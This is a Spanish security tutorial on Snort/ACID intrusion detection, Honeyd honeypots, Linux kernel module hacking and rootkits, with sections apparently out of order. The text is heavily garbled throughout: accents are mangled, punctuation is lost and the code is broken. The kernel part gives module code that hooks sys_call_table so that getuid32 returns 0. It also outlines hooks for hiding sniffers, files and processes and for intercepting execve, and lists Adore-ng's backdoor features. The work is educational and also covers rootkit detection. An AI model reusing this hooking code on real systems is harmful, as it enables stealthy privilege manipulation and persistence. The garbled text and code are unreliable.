Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
